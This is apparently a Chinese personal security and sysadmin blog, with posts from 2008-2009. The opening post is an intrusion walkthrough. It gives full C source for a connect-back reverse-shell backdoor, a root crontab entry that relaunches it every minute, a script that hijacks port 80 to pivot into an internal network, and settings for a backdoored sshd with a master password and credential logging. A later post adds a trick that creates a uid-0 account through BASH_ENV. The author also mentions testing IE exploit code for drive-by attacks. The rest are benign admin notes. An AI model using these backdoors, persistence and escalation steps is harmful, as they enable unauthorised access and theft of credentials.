java.text.SimpleDateFormat formatter = new java.text.SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
java.util.Date currentTime = new java.util.Date();
String str_date1 = formatter.format(currentTime);
String agent = request.getHeader("user-agent");
String nameOfTextFile = "/usr/local/www/home/default-web/ip.txt";
try {
  PrintWriter pw = new PrintWriter(new FileOutputStream(nameOfTextFile));
  pw.println(str_date1);
  pw.println(agent);
  pw.println(str);
  pw.close();
} catch(IOException e) {
  out.println(e.getMessage());
}
%>       
----------------------------代码结束分割线-----------------------------
ip地址记录在了/usr/local/www/home/default-web/ip.txt文件里面,格式如下:
2009-05-06 15:19:23
curl/7.15.5 (i686-redhat-linux-gnu) libcurl/7.15.5 OpenSSL/0.9.8b zlib/1.2.3 libidn/0.6.5
123.123.123.254

10.如何在webshell反弹后门回来后停止apache:
由python -c 'import pty; pty.spawn("/bin/sh")'得到一个可以交互的shell,在有root密码的前提下可以su,但是发现不能停止httpd,因为这个shell的父进程是httpd的,如果httpd被stop后,发现后门直接就挂了。可以crond去跑这个后门得到shell不要用webshell跑,在这个shell里面停止httpd(因为该内网服务器段只被映射这一个ip的80端口出来,现在这个80端口要做内网映射到网关上,可以直接远程管理设备,开DMZ之后入侵其他内网服务器)。
本地:nc -l -p 5555
服务器上:
[root@cactiez etc]# cat /home/www/haha.c
----------------------------代码开始分割线-----------------------------
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <netdb.h>
int fd, sock;
int port = 5555;
struct sockaddr_in addr;
char mesg[]  = "::Connect-Back Backdoor:: CMD: ";
char shell[] = "/bin/sh";
int main(int argc, char *argv[]) {
        while(argc<2) {
        fprintf(stderr, " %s <ip> ", argv[0]);
        exit(0); }
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr.s_addr = inet_addr(argv[1]);
fd = socket(AF_INET, SOCK_STREAM, 0);
connect(fd, (struct sockaddr*)&addr, sizeof(addr));
send(fd, mesg, sizeof(mesg), 0);
dup2(fd, 0);
dup2(fd, 1);
dup2(fd, 2);
execl(shell, "in.telnetd", 0);
close(fd);
return 1;
}
----------------------------代码结束分割线-----------------------------
[root@cactiez etc]# gcc -o /bin/haha /home/www/haha.c
[root@cactiez etc]# mkdir /etc/cr_m
[root@cactiez etc]# cp /home/www/si /etc/cr_m/
[root@cactiez etc]# chmod +x /etc/cr_m/si

[root@cactiez etc]# cat /etc/cr_m/si
#!/bin/sh
/bin/haha xxx.xxx.xxx.xx

追加一个crontab每分钟执行的:
[root@cactiez etc]# echo "*/1 * * * * root run-parts /etc/cr_m" >> /etc/crontab
[root@cactiez etc]# cat /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
HOME=/
# run-parts
01 * * * * root run-parts /etc/cron.hourly
02 4 * * * root run-parts /etc/cron.daily
22 4 * * 0 root run-parts /etc/cron.weekly
42 4 1 * * root run-parts /etc/cron.monthly
*/1 * * * * root run-parts /etc/cr_m
1分钟后本地nc监听的就连上了,然后在这个里面停止httpd:
[root@cactiez etc]# cat /root/s.sh
#!/bin/sh
/sbin/service httpd stop
/usr/local/bin/proxy 80 192.168.0.1 80
sleep 600
killall -9 proxy
/sbin/service httpd restart
[root@cactiez etc]# /root/s.sh &
现在连接这机器的公网ip的80端口就已经是网关192.168.0.1的80端口了,赶紧的设置DMZ,搞定内网机器。

11.sshd后门:
打完补丁后,需要修改2个文件:version.h和includes.h。
version.h里面:
#define SSH_VERSION    "OpenSSH_4.3"
引号里面的版本号。
includes.h里面:
#define _SECRET_PASSWD "passwerd"
#define _LOG_DIR "/dev/hdal"
#define _S_LOG "slog"
#define _C_LOG "clog"
万用密码和记录密码路径和文件。
[root@cactiez openssh]# ./configure --prefix=/usr --sysconfdir=/etc/ssh
[root@cactiez openssh]# make && make install
[root@cactiez openssh]# cp ssh_config sshd_config /etc/ssh/
[root@cactiez openssh]# service sshd restart

另外有几个要提醒管理员的是:

1.不要允许root远程ssh登录,只允许特定组的用户远程ssh登录并且只允许该组用户su –;
2.用户名密码不要设置的有规律,尤其是有多台服务器的管理员,不要不同机器的密码区别只是在ip上,这样很容易被攻击者拿到一个密码就猜到其他的密码(一直有一台机器没拿下,最后管理员统一改了一个规律性的密码后,被我由已知的猜到了这台服务器的密码),多台机器共用同一个密码的更不可取(好多人公用一个密码,结果就是一个被黑全都遭殃,我就曾用Bruter跑一个密码的字典跑出同一段ip多台服务器);
3.内网不要轻易在网关上映射端口出来,尤其是DMZ映射某些ip的所有端口;
4.安全更多的是人的问题,而不是技术问题。

Posted by vitter at 2009-05-06 16:58:09 | 评论 (6) | 引用

April 11, 2009

如何不使用安装Digital Photo Professional(Canon DPP)

Canon单反有一张软件盘,《佳能数码单反解决方案》光盘。在Canon网站下载页面可以下载到最新版本的Digital Photo Professional等软件,但是安装时会检查旧版本Digital Photo Professional才能安装,因此如果丢失《佳能数码单反解决方案》光盘真的是很麻烦,一般来说要么去电驴下一个,很慢而且源比较少,要么用某种方法提取出安装包然后绕过检查过程…都很麻烦。

这里给大家一个注册表文件,执行它会把旧版本Digital Photo Professional信息写入注册表,这样安装程序就认为你机器上装过Digital Photo Professional,从而不用《佳能数码单反解决方案》光盘,达到直接使用Canon网站下载的升级包安装最新版Digital Photo Professional的目的。

下载地址:http://blog.vfocus.net/archives/tools/canon_reg.rar
PS:DPP有3.6版本了:http://aux1.jp.canon.com/dc/download/pssx1is/dpp360-zh.exe

Posted by vitter at 2009-04-11 15:25:40 | 评论 (0) | 引用

March 17, 2009

解决一个乱码问题:Apache的Charset设置

页面中明确指明了编码是UTF8,但是显示还是乱码。似乎是Apache的问题。

1.页面没有指定charset , Apache配置defaultcharst gbk , 页面文件编码是utf-8
          结果: 乱码,使用wireshark抓包,发现服务器返回的header中指明了:
Content-Type: text/html; charset=GBK
          结论:当页面没有指明charset的时候,Apache的defaultcharset起作用

   2. 页面指定charset为utf-8, Apache配置defaultcharset gbk. 页面文件是utf-8
<head>
        <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>
<body>
        <div id="page-header">
          测试Apache DefaultCharset
        </div>
</body>
</html>
         结果还是出现乱码。
         结论:当Apache配置了DefaultCharset, 将忽略页面的charset申明。

   3 PHP header申明charset为utf8, Apache配置defaultcharst gbk,页面文件编码是utf8
header("Content-Type:text/html; charset=utf-8");
        结果 : 页面显示正常。

   4 Apache设置DefaultCharset off
           结果,页面显示正常。

翻阅了下Apache2的手册:

AddDefaultCharset 指令
说明     当应答内容是text/plain或text/html时,在HTTP应答头中加入的默认字符集
语法     AddDefaultCharset On|Off|charset
默认值     AddDefaultCharset Off
作用域     server config, virtual host, directory, .htaccess
覆盖项     FileInfo
状态     核心(C)
模块     core

当且仅当应答内容是text/plain或text/html时,此指令将会在HTTP应答头中加入的默认字符集。理论上这将覆盖在文档体中通过<meta>标 签指定的字符集,但是实际的行为通常取决于用户浏览器的设置。AddDefaultCharset Off 将会禁用此功能。 AddDefaultCharset On 将启用Apache内部的默认字符集iso-8859-1 。您也可以指定使用在IANA注册过的字符集名字 中的另外一个charset 。
比如说:
AddDefaultCharset utf-8
    也就是说,当Apache不指定defaultcharset的时候,页面编码由页面自己的meta标签指定。
    当Apache指定的时候,将忽略页面中的meta标签指定的编码. 但是容许脚本直接header编码方式给客户端
最后,还有一个问题没有得出结果:
     当Apache和页面都没有指定的时候, 又如何?
     我在自己的机器上,如果都不指定, 默认还是utf8。

ps:我的Apache默认的gb2312的。因为n多虚拟机基本都是gbk的,就不用改虚拟机了,那在utf-8的虚拟机域名下加入如下:
<IfModule mod_mime.c>
        AddDefaultCharset utf-8
</IfModule>
重启apache,问题解决。

Posted by vitter at 2009-03-17 18:39:57 | 评论 (0) | 引用

March 06, 2009

渗透测试图

渗透测试

Posted by vitter at 2009-03-06 18:08:15 | 评论 (0) | 引用

March 04, 2009

linux下小红伞license过期解决

今天突然发现小红伞升级log报错:

# tail -n 5 /var/log/avupdater.log
2009-03-03 08:00:54 securitycn antivir[4771]: AVUP: ERROR AntiVir FAILED to update itself
2009-03-04 08:00:07 securitycn antivir[10571]: AVUP: WARNING Warning: the file "antivir.vdf" is more than 14 days old
2009-03-04 08:00:15 securitycn antivir[10672]: AVSC: WARNING Warning: the file "antivir.vdf" is more than 14 days old
2009-03-04 08:00:48 securitycn antivir[10571]: AVUP: ERROR Error: new updates will not work with current license
2009-03-04 08:00:48 securitycn antivir[10571]: AVUP: ERROR AntiVir FAILED to update itself

可是我记得我已经用的是半年的key了呢?怎么回事呢。

# antivir --version
7.9.0.74
operating system: Linux (glibc 2.2)
product version:  2.1.12-114
engine version:   7.9.0.74
packlib version:  7.6.1.13 (supports 34 formats)
vdf version:      7.1.1.227

Warning: the file "antivir.vdf" is more than 14 days old

product:          AntiVir Workstation
key file:         hbedv2.key
registered user:  securitycn
serial number:    1400214523-ASWTM-0003
key expires:      04 Feb 2009
run mode:         COMMERCIAL

product:          AntiVir (command line scanner)
key file:         hbedv2.key
registered user:  securitycn
serial number:    1400214523-ACMLM-0003
key expires:      04 Feb 2009
run mode:         COMMERCIAL

发现原来我装过2次,覆盖安装后key名字自动命名成hbedv2.key了,多了个2。晕了,我之前覆盖了hbedv.key了。

手动更新license的话,linux下在/usr/lib/AntiVir目录下,默热hbedv.key,这个目录下同时还有一个personaledition_classic.key文件,这个文件是免费用户的license文件。这2个文件任意一个存在都可以作为license验证。当然我的装过2次出现了一个hbedv2.key,我更新的是不正确的,因此需要重新更新:

# cd /usr/lib/AntiVir
# mv hbedv2.key hbedv2.key.old
# copy /root/HBEDV120.key /usr/lib/AntiVir/hbedv2.key

完成 license文件更新之后,就可以试一下能不能更新了。

# antivir –update
AntiVir / Linux Version 2.1.12-114
Copyright (c) 2008 by Avira GmbH.
All rights reserved.

Warning: the file "antivir.vdf" is more than 14 days old
checking for updates

on disk       |  upd server
--------------+--------------
02.01.12.114  <  02.01.12.130 [antivir]
07.01.00.00   =  07.01.00.00  [antivir0.vdf]
07.01.01.113  <  07.01.02.12  [antivir1.vdf]
07.01.01.207  <  07.01.02.105 [antivir2.vdf]
07.01.01.227  <  07.01.02.113 [antivir3.vdf]
--------------+--------------
antivir 100% |****************************************************************************| 2556 KB   17.74 KB/s   0:00 ETA
antivir1.vdf 100% |***********************************************************************| 3258 KB   48.83 KB/s   0:00 ETA
antivir2.vdf 100% |***********************************************************************|  501 KB   31.35 KB/s   0:00 ETA
antivir3.vdf 100% |***********************************************************************|   58 KB   11.63 KB/s   0:00 ETA

on disk       |  upd server
--------------+--------------
02.01.12.130  =  02.01.12.130 [antivir]
07.01.02.12   =  07.01.02.12  [antivir1.vdf]
07.01.02.105  =  07.01.02.105 [antivir2.vdf]
07.01.02.113  =  07.01.02.113 [antivir3.vdf]
--------------+--------------

02.01.12.114 --> 02.01.12.130 the scanner [the application]  (/usr/lib/AntiVir/antivir)
07.01.01.227 --> 07.01.02.113 the VDF database (inc)  (/usr/lib/AntiVir/antivir1.vdf, /usr/lib/AntiVir/antivir2.vdf, /usr/lib/AntiVir/antivir3.vdf)

AntiVir successfully updated itself

# antivir –version
7.9.0.98
operating system: Linux (glibc 2.2)
product version:  2.1.12-130
engine version:   7.9.0.98
packlib version:  7.6.1.15 (supports 34 formats)
vdf version:      7.1.2.113

product:          AntiVir Workstation
key file:         personaledition_classic.key
registered user:  Avira AntiVir PersonalEdition Classic
serial number:    0000149996-PXWSE-0001
key expires:      17 Feb 2010
run mode:         PERSONAL

product:          AntiVir (command line scanner)
key file:         personaledition_classic.key
registered user:  Avira AntiVir PersonalEdition Classic
serial number:    0000149996-PXWSE-0001
key expires:      17 Feb 2010
run mode:         PERSONAL

# tail -n 5 /var/log/avupdater.log
2009-03-04 08:00:48 securitycn antivir[10571]: AVUP: ERROR Error: new updates will not work with current license
2009-03-04 08:00:48 securitycn antivir[10571]: AVUP: ERROR AntiVir FAILED to update itself
2009-03-04 10:51:43 securitycn antivir[1717]: AVUP: WARNING Warning: the file "antivir.vdf" is more than 14 days old
2009-03-04 10:51:56 securitycn antivir[1720]: AVSC: WARNING Warning: the file "antivir.vdf" is more than 14 days old
2009-03-04 10:55:53 securitycn antivir[1717]: AVUP: INFO AntiVir successfully updated itself

ok了,以后又能正常更新了。

Posted by vitter at 2009-03-04 11:04:56 | 评论 (0) | 引用

February 26, 2009

Linux下批量替换当前目录下所有指定文件内容

1.Linux下批量替换当前目录下所有*.php文件内容 old内容=$_SERVER['REQUEST_TIME'] new内容=time()

find ./ -name "*.php" | xargs sed -i "s/\$_SERVER\['REQUEST_TIME'\]/time()/g"

2.vi查找、替换命令

:s /SEARCH/REPLACE/g 注:把当前光标所处的行中的SEARCH单词,替换成REPLACE,并把所有SEARCH高亮显示;
:%s /SEARCH/REPLACE 注:把文档中所有SEARCH替换成REPLACE;
:#,# s /SEARCH/REPLACE/g 注:#号表示数字,表示从多少行到多少行,把SEARCH替换成REPLACE;

—— 忽略大小写
:set ic   设置大小写敏感
:set noic 取消大小写敏感

Posted by vitter at 2009-02-26 13:46:44 | 评论 (0) | 引用

February 20, 2009

最具有威胁的14个安全漏洞

安全漏洞

Posted by vitter at 2009-02-20 16:07:36 | 评论 (0) | 引用

February 13, 2009

BackTrack 4 Beta Public Released

从Remote-exploit公开BT4的下载地址以来,可以说是遭遇到了有史以来最为疯狂的下载浪潮.
获取ISO 下载点这里 md5sum and sha512sum校验
获取VMWare image 下载点这里 md5sum and sha512sum校验
尽管官网强调不要直接连接,但是我们也可以使用下述两个地址用迅雷下载:
http://www.remote-exploit.org/cgi-bin/fileget?version=bt4-beta-iso
http://www.remote-exploit.org/cgi-bin/fileget?version=bt4-beta-vm

Posted by vitter at 2009-02-13 11:05:15 | 评论 (0) | 引用

January 13, 2009

linux下Avira AntiVir出现”error (program file of AntiVir has been modified):”的问题解决方法

Linux的文件服务器装了小红伞,申请了一个半年免费的key,但是装好第二天发现出现问题报错:

error (program file of AntiVir has been modified):

google了下发现应该是被prelink了。

crontab每天都会自动prelink

[root@sam root]# ls /etc/cron.daily/
00-logwatch  0anacron  logrotate  makewhatis.cron  prelink  rpm  slocate.cron  tmpwatch  yum.cron

配置/etc/prelink.conf加入一行-b /usr/lib/AntiVir,就可以排除了。

prelink –u 复原,但是执行后运行antivir还是报错,只好重装了。在重装过程中,发现厂商已经提示了,但是从来没注意到:(

NOTICE: This system has a prelinker. Prelinking the
        antivir binary will not work correctly. Either
        disable prelinking or add /usr/lib/AntiVir as an
        excluded prelink path.

        For example, add '-b /usr/lib/AntiVir'
        to /etc/prelink.conf

安装的时候人家说的很清楚了。居然安装了好几次才发现。汗。

Posted by vitter at 2009-01-13 09:28:17 | 评论 (0) | 引用

December 31, 2008

FreeBSD用Xmanager连接

FreeBSD服务器端配置

-----------------------
1. /usr/X11R6/lib/X11/xdm/xdm-config
注释掉这句:
!DisplayManager.requestPort: 0
-----------------------
2. /usr/X11R6/lib/X11/xdm/Xservers
注释掉这句:
#:0 local /usr/X11R6/bin/X
-----------------------
3. /usr/X11R6/lib/X11/xdm/Xaccess
把这句的注释去掉:
* #any host can get a login window
-----------------------
4. /etc/ttys中
修改如下:
ttyv8 "/usr/X11R6/bin/xdm -nodaemon" xterm on secure
-----------------------
5. /etc/ssh/sshd_config
去掉注释:
X11Forwarding yes
-----------------------

最后注意防火墙。我的就是卡在ipfw的IPV6规则上了。

tcp6       0      0  ::1.55119                                     ::1.6010                                      TIME_WAIT
tcp6       0      0  ::1.6010                                      ::1.55118                                     ESTABLISHED
tcp6       0      0  ::1.55118                                     ::1.6010                                      ESTABLISHED
tcp6       0      0  ::1.6010                                      ::1.55117                                     ESTABLISHED
tcp6       0      0  ::1.55117                                     ::1.6010                                      ESTABLISHED
tcp6       0      0  ::1.6010                                      ::1.55116                                     ESTABLISHED
tcp6       0      0  ::1.55116                                     ::1.6010                                      ESTABLISHED
tcp4       0      0  127.0.0.1.6010         *.*                    LISTEN
tcp6       0      0  ::1.6010                                      *.*                                           LISTEN

实在搞不明白,为何要连tcp6的而不连tcp4的。

只需要在ipfw的规则里面加下面2行即可:

ipfw add allow ipv6 from localhost to localhost in
ipfw add allow ipv6 from localhost to localhost out

Posted by vitter at 2008-12-31 18:19:31 | 评论 (1) | 引用

December 24, 2008

web攻击拓扑

web-attack-and-defence

Posted by vitter at 2008-12-24 12:13:36 | 评论 (0) | 引用

December 12, 2008

关于这个ie 0day

December 11, 2008: Revised to include Microsoft Internet Explorer 5.01 Service Pack 4, Internet Explorer 6 Service Pack 1, Internet Explorer 6, and Windows Internet Explorer 8 Beta 2 as potentially vulnerable software. Also added more workarounds.

微软更新了这个漏洞的通告:http://www.microsoft.com/technet/security/advisory/961051.mspx

IE5、6、7、8全部受这个漏洞的影响,而不是之前我们认为的只有IE7受影响。

刚测试了1天IE7的挂马代码,看来还要更新测试下了,也许能达到预期的目的。

Posted by vitter at 2008-12-12 13:48:38 | 评论 (0) | 引用

December 02, 2008

使用load data infile时的字符集问题

在导入mysql数据的时候总是乱码,用

LOAD DATA INFILE '/home/mysql/ybz.csv' INTO TABLE goods_bak character set gbk FIELDS TERMINATED BY ',';

报错,看来是不支持character set gbk参数。

load data infile在某些MySQL的版本上不支持指定导入时的字符集。这时,MySQL假设导入文件的字符集是character_set_database,这个变量根据当前数据库指定的字符集而变化,如果指定当前数据库,那么它的值由character_set_server决定。因此如果load data infile不支持指定字符集,那么在导入前需要确认当前数据库的字符集,如果不符,则使用set character_set_database = ... 更改。

上面的我们就可以改成这个:

set character_set_database = gbk;
LOAD DATA INFILE '/home/mysql/ybz.csv' INTO TABLE goods_bak FIELDS TERMINATED BY ',';

ok,select下看看已经不是乱码了。

Posted by vitter at 2008-12-02 13:56:45 | 评论 (0) | 引用

November 30, 2008

在UltraEdit的查找和替换中使用正则表达式

很多朋友都用过或者正在用UltraEdit,这个编辑器陪伴我也好几年了,从很多地方影响着我写代码的快捷键习惯,Ultraedit提供了非常丰富的编辑功能,其中非常重要的查找和替换功能一定大家都用过,Ultraedit提供的查找替换功能非常方便和强大,可以在单独文件里面查找替换,也可以在多个文件、多个目录里面进行查找替换。而我们在使用这些查找替换功能的时候,一般都是针对某个字符串进行,前两天我要对一个目录下(包含子目录)所有的 html文件中某一段代码进行查找替换,一下子不知道怎么操作了,由于长期写程序用到正则表达式,于是猜想具备如此强大功能的Ultraedit一定也有这样类似的匹配功能,于是点击Help一看,果然不出所料,Ultraedit支持基本的正则表达式匹配查找和替换功能,这能满足我们几乎全部的需要了。

下面是对UltraEdit的Help中针对查找替换使用正则表达式部分的整理,最后还有我前两天用到的一个多行代码查找替换的例子。

Ultraedit在使用正则表达式进行查找替换时有两个可使用的语法集合。一个是 UltraEdit 的更早的版本被使用的原来的 UltraEdit 句法。另一个是”Unix”类型的正则表达式,这个集合在ultraedit的默认配置中是没有启用的,需要在配置中找到search项,启用Unix类型的正则表达式。

语法集合一:

符号  功能
%     匹配行的开始 - 显示搜索字符串必须在行的开始,但是在所选择的结果字符串中不包括任何行终止字符。
$     匹配行尾 - 显示搜索字符串必须在行尾,但是在所选择的结果字符串中不包括任何行终止字符。
?     除了换行符以外匹配任何单个的字符
*     除了换行符匹配任何数量的字符和数字
+     前一字符匹配一个或多个,但至少要出现一个
++    前一字符匹配零个或多个,但至少要出现一个
^b    匹配一个分页
^p    匹配一个换行符(CR/LF)(段)(DOS文件)
^r    匹配一个换行符(CR 仅仅)(段)(MAC 文件)
^n    匹配一个换行符 ( LF 仅仅 )( 段 )( UNIX 文件 )
^t    匹配一个标签字符TAB
[]    匹配任何单个的字符,或在方括号中的范围
^{A^}^{ B^} 匹配表达式A或 B
^     重载其后的正规表达式字符
^(^)  括或标注为用于替换命令的表达式。

一个正则表达式最多可以有9个标注表达式, 按正规表达式的需要而定。
相应的替换表达式是 ^x , 替换范围x是1-9。例如:
If ^(h*o^) ^(f*s^) matches “hello folks”,
^2 ^1 would replace it with “folks hello”.

(hello folks 将被替换成 folks hello。)

注: ^ 是实际字符 ^不是Ctl + 键值。

例如:
m?n 匹配 “man”,”men”,”min” 但不匹配 “moon”.
t*t 匹配 “test”,”tonight” 和 “tea time” (the “tea t” portion) 但不匹配 “tea
time” (newline between “tea ” and “time”).
Te+st 匹配 “test”,”teest”,” teeeest “等等。但是不匹配 “tst”。
[aeiou] 匹配每个小写元音。
[,.?] 匹配一文字的 “,”,”.”或 “?”。
[0-9, a-z] 匹配任何数位,或小写字母。
[~0-9] 除了数字以外匹配任何字符 (~ 意味着”不”)

你按如下方式可以查找一个表达式A或 B :

“^{John^}^{Tom^}”

这将在找John或Tom的出现。应该在 2 个表达式之间没有任何东西。

你可以在同一搜索中按如下方式组合A or B and C or D:

“^{John^}^{Tom^}^{Smith^}^{Jones^}”

这将在John or Tom 后面找 Smith or Jones。

语法二:”Unix”句法类型的正则表达式

符号        功能
\          标记下一个字符作为一个特殊的字符。
"n"         匹配字符"n"。"n" 一个换行符或换行符字符。
^           匹配/定位行的开始。
$           匹配/定位行的尾。
*           匹配前面的字符零次或多次。例
+           匹配前面的字符一次或多次。例
.           匹配除了一个换行符字符匹配任何单个的字符。
(expression)标注用于替换命令的表达式。一个正则表达式根据需要,最多可以有9个标注表达式。相应的代替表达式是 x , x的范围是 1-9 。
例如:
If (h.*o) (f.*s) matches "hello folks",
2 1 would replace it with "folks hello".
(hello folks 将被替换成 folks hello。)

[xyz]       一个字符集。匹配在方括号之间的任何字符。
[^xyz]      一个否定的字符集。不匹配在方括号之间的任何字符。
\d          匹配一个数字字符。等价于[0-9]。
\D          匹配一个非数字字符。等价于[^0-9]。
\f          匹配一个换页字符。
\n          匹配一个换行字符。
\r          匹配一个回车符字符。
\s          匹配任何空白的空格, 标签, 换页, 包括空格等等,但不匹配换行符。
\S          匹配任何非空白的字符,但不匹配换行符。
\t          匹配一个标签TAB字符。
\v          匹配一个垂直的标签字符。
\w          匹配任何词语字符包括下划线。
\W          匹配任何非词语字符字符。
注: ^ 是实际字符 ^不是Ctl + 键值。

例如:
m.n 匹配 “man”,”men”,”min” 但不匹配 “moon”.
t+t 匹配 “test”,”tonight” 和 “tea time” (the “tea t” portion) 但不匹配 “tea
time” (newline between “tea ” and “time”).
Te*st 匹配 “test”,”teest”,” teeeest “等等。但是不匹配 “tst”。
[aeiou] 匹配每个小写元音。
[,.?] 匹配一文字的 “,”,”.”或 “?”。
[0-9,a-z] 匹配任何数位,或小写字母。
[^0-9] 除了数字以外匹配任何字符 (~ 意味着”不”)

你按如下方式可以查找一个表达式A或 B :

“(John)|(Tom)”

这将在找John或Tom的出现。应该在 2 个表达式之间没有任何东西。

你可以在同一搜索中按如下方式组合A or B and C or D:

“(John|Tom) (Smith|Jones)”

这将在John or Tom 后面找 Smith or Jones。

另外:

p 匹配 CR/LF ( 作为 rn 的一样 ) 作为DOS行结束符匹配

如果查找/替换功能中正则表达式没有选用,则替换字段中下列字符也是有效的:

符号 功能

^^ 匹配一个 “^” 字符
^s 替换为被选择 ( 加亮 ) 活跃的文件窗口的文章。
^c 替换为剪贴板的内容
^b 匹配一个页裂缝
^p 匹配一个换行符 ( CR/LF )( 段 )( DOS 文件)
^r 匹配一个换行符 ( CR 仅仅 )( 段 )( MAC 文件)
^n 匹配一个换行符 ( LF 仅仅 )( 段 )( UNIX 文件)
^t 匹配一个标签TAB字符

下面是我要实现的一段代码查询替换的举例
我想把一个.lrc文件中的汉字去掉:

[ti:046]
[ar:Book I]
[al:english900]
[la:zh]
[by:]
[00:00.00][4] Identifying objects.辨别物品
[00:00.00]
[00:00.01]What are these? 这些是什么?
[00:01.93]Those are books. 那些是书。
[00:03.87]Where are the books? 那些书在哪儿?
[00:06.13]There they are. 在那儿。
[00:08.68]These are my pencils. 这些是我的铅笔。
[00:12.00]Where are your pens? 你的那些钢笔在哪儿?
[00:14.85]They're over there. 在那里。
[00:17.48]Are these your pens? 这些是你的钢笔吗?
[00:20.04]Yes,they are. 是我的。
[00:22.63]Those are mine. 那些是我的。
[00:25.39]These are your books,aren't they? 这些书是你的,对不对?
[00:28.35]No,they aren't. 不,不是。
[00:31.07]They're not mine. 不是我的。
[00:33.39]These are mine,and those are yours. 这些是我的,而那些是你的。
[00:35.57]Those aren't your pens,are they? 那些钢笔不是你的,对吧?
[00:36.38]

点"搜索"->"替换",选中"正则表达式"

查找:^([/./?]^) ?++$

替换为:^1

点“全部替换”,完成。

Posted by vitter at 2008-11-30 12:29:34 | 评论 (0) | 引用

November 20, 2008

近来江湖多凶险,有线无线都危险

加固保安全,改改更健康:
1、打开secpol.msc,把“网络安全:LAN Manager 身份验证级别”修改为“仅发送 NTLMv2 响应\拒绝 LM 和 NTLM”:

 1

2、打开你的AP的配置界面,修改WPA的加密方式为AES(大多数AP默认都是TKIP):

 2

欢迎转贴,广结善缘。文明转贴,注明出处。

出处:http://hi.baidu.com/tombkeeper/blog/item/d48412e9d5120f38b80e2dcb.html

Posted by vitter at 2008-11-20 10:51:54 | 评论 (0) | 引用

Linux本地su提权

by:blog.vfocus.net

echo '/usr/sbin/useradd -u 0 -o aaa 2> /dev/null  2>&1' > /tmp/.bashrc
echo 'echo aaa:bbb|chpasswd> /dev/null  2>&1' >> /tmp/.bashrc
export BASH_ENV="/tmp/.bashrc"

好多人用su从来不加-,这会带来很多隐患,比如上面的方式就是利用方法之一。建议系统管理员们注意下,要用“su -”。

Posted by vitter at 2008-11-20 10:46:58 | 评论 (0) | 引用

November 14, 2008

OPENVPN安装手册

by:http://blog.vfocus.net

一、在网上下载openvpn的安装包http://openvpn.net/上下载openvpn的最新版,时至今 日是openvpn-2.0.9.tar.gz。

    网上都说还需要lzo这个压缩库。这个包是压缩的,我没有安装,在编译程序的时候只需要加上--disable-lzo就可以了。然后再配置文件里面把这项注释掉就可以了,这样所有要安装的就是一个包openvpn-2.0.9.tar.gz。

二、vpn服务端的网络结构

    vpn服务端是有两个ip 其中eth0 172.16.6.79 提供vpn服务,由外部通过172.31.16.0/24 通过1194端口拨入,然后通过 eth1 192.168.253.79访问192.168.253.0/24去维护服务器

三、安装openvpn

tar zxvf openvpn-2.0.9.tar.gz
cd openvpn-2.0.9
./configure –prefix=/usr/local/openvpn –-disable-lzo
make;make install

四、生成openvpn证书

    1、cd openvpn-2.0.9/ easy-rsa/

    vi vars

    根据自己的情况设置

根据自己的情况设置KEY_COUNTRY, KEY_PROVINCE, KEY_CITY, KEY_ORG, KEY_EMAIL,比如我的
export KEY_COUNTRY=CN
export KEY_PROVINCE=Beijing
export KEY_CITY=Beijing
export KEY_ORG=abc
export KEY_EMAIL=abc@123.com

然后保存
. ./vars //注意两个点中间有空格
./clean-all
./build-ca
build-ca 命令使用openssl 命令生成certificate authority (CA) certificate 和密钥:
./build-ca
Generating a 1024 bit RSA private key
....++++++
.......++++++
writing new private key to 'ca.key'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [CN]:
State or Province Name (full name) [Beijing]:
Locality Name (eg, city) [Beijing]:
Organization Name (eg, company) [BUAA]:
Organizational Unit Name (eg, section) []:
Common Name (eg, your name or your server's hostname) []:zhang //这里随便输入即可

    Email Address [zhangwenhao@wanmei.com]:

    这些步骤一直按回车就可以了

    2、为vpn server生成证书与密匙

./build-key-server server
Common Name 处填server,其他默认,为上面编辑vars 文件时设置的值。"Sign the certificate?
[y/n]" 和"1 out of 1 certificate requests certified, commit? [y/n]"两处选y。

    3、为vpn clients 生成证书与密匙

./build-key client1
./build-key client2
./build-key client3
Common Name 处分别填client1 client2 client3,别的同vpn server 设置

    4、生成diffie hellman 参数

./build-dh

现在生成了所需的文件。目录keys 下生成的文件中,ca.crt 是所有vpn 机器都需要的。vpn server 需要ca.crt ca.key dh1024.pem server.crt server.key,拷贝到vpn server 的/etc/openvpn目录。vpn client1 需要ca.crt ca.key lient1.crt client1.key,拷贝到vpn client1 的/etc/openvpn 目录。client2,client3 和client1 同,只是client1.crt 和client1.key 分别用client2 和client3 的对应文件。vpn client2 和vpn client3 也把对应的密钥文件拷贝到各自的/etc/openvpn 目录。

五、配置server端与client端

    1、server.conf 使用代码包目录sample-config-files 里的server.conf 修改即可。配置文件如下()

#################################################
;local a.b.c.d 绑定的IP 地址,可以不填
port 1194 绑定的端口
proto tdp 选择udp 协议,也可用tcp
# "dev tun" will create a routed IP tunnel,
# "dev tap" will create an ethernet tunnel.
;dev tap
#使用tun 设备,路由IP 通道。FreeBSD 默认支持TUN/TAP 驱动。
dev tun
#下面4 处填上面为vpn server 生成的证书和密钥
ca /etc/openvpn/ca.crt (如果启动的时候带了cd路径,则这里不需要绝对路径)

cert /etc/openvpn/server.crt
key /etc/openvpn/server.key  # This file should be kept secret
dh /etc/openvpn/dh1024.pem

#配置vpn 虚拟网段,会在vpn server 建立一条10.0.0.1 >10.0.0.2 的点对点虚拟链路。
server 10.8.0.0 255.255.255.0
#记录client 对应得虚拟地址,默认600 秒更新一次
ifconfig-pool-persist ipp.txt
#等价于ping 10 和ping-restart 120,对于vpn 机器有可能断开外网联线或者重起的,
#或者vpn client 先于vpn server 运行的情况下很重要。Client 会重新连接。
keepalive 10 120
#开启压缩支持。如果编译的时候没有使用LZO 库则注释本行
#comp-lzo
#初始化完成后改变OpenVPN 进程的用户ID 为nobody
user nobody
#同上,改变进程的组ID 为nobody。如果是Windows 系统,注释掉这两行
group nobody
persist-key
persist-tun
#默认每分钟更新状态文件,可以看到client 的真实IP 虚拟IP 等信息。
status openvpn-status.log
verb 3

    2、client端

client1.conf 使用源代码包目录sample-config-files 里的client.conf 修改即可

